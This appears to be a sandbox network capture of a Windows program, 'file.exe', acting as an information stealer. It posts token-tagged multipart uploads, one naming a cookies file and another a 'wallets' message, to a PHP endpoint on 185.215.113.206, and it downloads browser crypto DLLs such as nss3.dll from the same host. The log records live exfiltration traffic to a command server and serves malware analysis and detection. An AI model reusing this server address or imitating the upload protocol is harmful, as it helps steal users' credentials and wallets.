Nov 19, 2024 20:05:25.578808069 CET	124	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 19, 2024 20:05:25.578819990 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49813	185.215.113.206	80	2756	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 20:05:33.960304022 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBKEHDGDGHCBGCAKFIII Host: 185.215.113.206 Content-Length: 991 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 20:05:33.960602045 CET	991	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 Data Ascii: ------DBKEHDGDGHCBGCAKFIIIContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------DBKEHDGDGHCBGCAKFIIIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Nov 19, 2024 20:05:35.163304090 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 20:05:35.260818005 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCAFCAFHJJDBFIECFBKE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 36 61 34 61 33 32 30 33 33 33 39 30 33 39 36 31 66 36 32 33 36 64 66 66 38 39 36 38 33 65 30 39 33 61 31 62 65 31 62 39 62 64 63 35 34 33 65 34 64 38 65 35 38 38 33 66 38 66 38 33 37 37 61 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 46 43 41 46 48 4a 4a 44 42 46 49 45 43 46 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GCAFCAFHJJDBFIECFBKEContent-Disposition: form-data; name="file"------GCAFCAFHJJDBFIECFBKE--
Nov 19, 2024 20:05:35.985003948 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	52448	185.215.113.206	80	2756	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 20:05:41.730618954 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJDGCGDAAAKECAKKJDA Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 20:05:41.730684042 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 Data Ascii: ------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 19, 2024 20:05:42.915103912 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 20:05:43.797868013 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEBKEHJJDAAAAKECBGHD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 36 61 34 61 33 32 30 33 33 33 39 30 33 39 36 31 66 36 32 33 36 64 66 66 38 39 36 38 33 65 30 39 33 61 31 62 65 31 62 39 62 64 63 35 34 33 65 34 64 38 65 35 38 38 33 66 38 66 38 33 37 37 61 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 42 4b 45 48 4a 4a 44 41 41 41 41 4b 45 43 42 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="token"26f2d56a4a320333903961f6236dff89683e093a1be1b9bdc543e4d8e5883f8f8377a5e4------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JEBKEHJJDAAAAKECBGHDContent-Disposition: form-data; name="file"------JEBKEHJJDAAAAKECBGHD--
Nov 19, 2024 20:05:44.516660929 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 20:05:45.261387110 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 20:05:45.477880955 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 19, 2024 20:05:45.477920055 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 19, 2024 20:05:45.477932930 CET	448	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 19, 2024 20:05:45.477989912 CET	1236	IN	Data Raw: 07 00 74 10 8b 5c 24 28 e9 a7 00 00 00 0f 1f 80 00 00 00 00 8b 44 24 08 80 ec 01 8b 5c 24 28 73 46 8b 44 24 0c 2c 01 89 44 24 0c 73 40 8b 44 24 10 2c 01 89 44 24 10 73 3c 8b 44 24 14 2c 01 73 42 8b 44 24 18 2c 01 73 40 8b 44 24 20 2c 01 89 44 24 Data Ascii: t\$(D$\$(sFD$,D$s@D$,D$s<D$,sBD$,s@D$ ,D$ D$$D$$D$(D$GD$?D$D$1D$L$D$D$D$D$f.DD$HjD$DPjL$HQPt$@mbD$HD$
Nov 19, 2024 20:05:45.478001118 CET	1236	IN	Data Raw: ca 74 2f 8b 45 10 8b 55 d0 89 10 b9 03 e0 ff ff 3b 55 14 8b 5d d4 77 22 31 ff 8b 45 0c 39 c6 74 3a 52 56 50 e8 20 01 08 00 eb 2d bf ff ff ff ff eb 3a b9 02 e0 ff ff 8b 5d d4 51 e8 73 00 08 00 83 c4 04 bf ff ff ff ff 8b 45 0c 39 c6 75 0c 53 6a 00 Data Ascii: t/EU;U]w"1E9t:RVP -:]QsE9uSjPEtSP\M1$^_[]USWVut:}t$FHjShjVPt^_[]^_[]USWV}tVEGGH
Nov 19, 2024 20:05:45.478013992 CET	1236	IN	Data Raw: c4 0c eb 25 85 ff 74 15 89 c8 89 f1 89 d6 8b 55 10 56 50 e8 64 fc ff ff 83 c4 10 eb 6e 8d 46 08 89 45 ec 8b 46 08 89 45 f0 c7 46 08 00 00 00 00 89 5e 04 8b 4b 04 ff 15 00 80 0a 10 ff d1 89 06 bb ff ff ff ff 85 c0 74 3d 89 f1 8b 55 10 ff 75 18 ff Data Ascii: %tUVPdnFEFEF^Kt=Uuu#t>t FHjWEM1^_[]USWVu>FHW>FHXSVW^_[]USWVu}E@H
Nov 19, 2024 20:05:45.478024006 CET	172	IN	Data Raw: 53 ff 75 08 57 e8 97 f7 07 00 83 c4 0c 0f b6 8d f0 fe ff ff 8b b5 ec fe ff ff 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f Data Ascii: SuWT>\>=t%>>fM1^_[]U}thuo
Nov 19, 2024 20:05:45.478089094 CET	1236	IN	Data Raw: 07 00 83 c4 08 5d c3 cc cc cc cc cc 55 89 e5 56 8b 75 1c 8b 45 14 39 f0 73 14 68 03 e0 ff ff e8 3b f6 07 00 83 c4 04 b8 ff ff ff ff eb 16 8b 55 0c 8b 4d 08 56 ff 75 18 50 ff 75 10 e8 0b 00 00 00 83 c4 10 5e 5d c3 cc cc cc cc cc 55 89 e5 53 57 56 Data Ascii: ]UVuE9sh;UMVuPu^]USWV4MEE9EshyU}]E}}aM}$7$7u2M$E}
Nov 19, 2024 20:05:45.478100061 CET	224	IN	Data Raw: f2 17 66 0f 6f 2d e0 20 08 10 66 0f fe d5 f3 0f 5b d2 66 0f 70 e1 f5 66 0f f4 ca 66 0f 70 d2 f5 66 0f f4 d4 66 0f 6f e0 66 0f fe 25 00 21 08 10 66 0f 70 c9 e8 66 0f 70 d2 e8 66 0f 62 ca 66 0f 6e 54 07 04 66 0f 60 d3 66 0f 61 d3 66 0f eb cf 66 0f Data Ascii: fo- f[fpffpffof%!fpfpfbfnTf`faffrf[fpffpffpfpfbff!~sMEMEUxEUMfEMUTF
Nov 19, 2024 20:05:45.478130102 CET	1236	IN	Data Raw: c1 83 fa 02 74 09 0f b6 46 02 c1 e0 10 09 c1 89 4d e0 8a 55 e8 8b 45 d0 8b 4d ec 83 c7 04 e9 29 01 00 00 66 0f ef c9 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef d2 f6 c2 01 0f 84 9b 00 00 00 66 0f 6f 1d d0 20 08 10 66 0f fe d8 0b 75 cc 8b 45 10 66 0f Data Ascii: tFMUEM)ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~M
Nov 19, 2024 20:05:46.383892059 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 20:05:46.775208950 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 20:05:47.568615913 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 19, 2024 20:05:48.043303013 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 20:05:48.260304928 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 19, 2024 20:05:48.622452974 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 20:05:49.080641031 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 20:05:49.836692095 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:49 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 19, 2024 20:05:51.475981951 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 20:05:51.694504023 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 19, 2024 20:05:51.835431099 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 19, 2024 20:05:52.055535078 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:51 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 19, 2024 20:05:52.657447100 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJEBAAECBGDHIECAKJK Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 20:05:53.548785925 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 20:05:53.608469009 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDAECAECFCAAEBFHIEHD Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 36 66 32 64 35 36 61 34 61 33 32 30 33 33 33 39 30 33 39 36 31 66 36 32 33 36 64 66 66 38 39 36 38 33 65 30 39 33 61 31 62 65 31 62 39 62 64 63 35 34 33 65 34 64 38 65 35 38 38 33 66 38 66 38 33 37 37 61 35 65 34 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 2d 2d 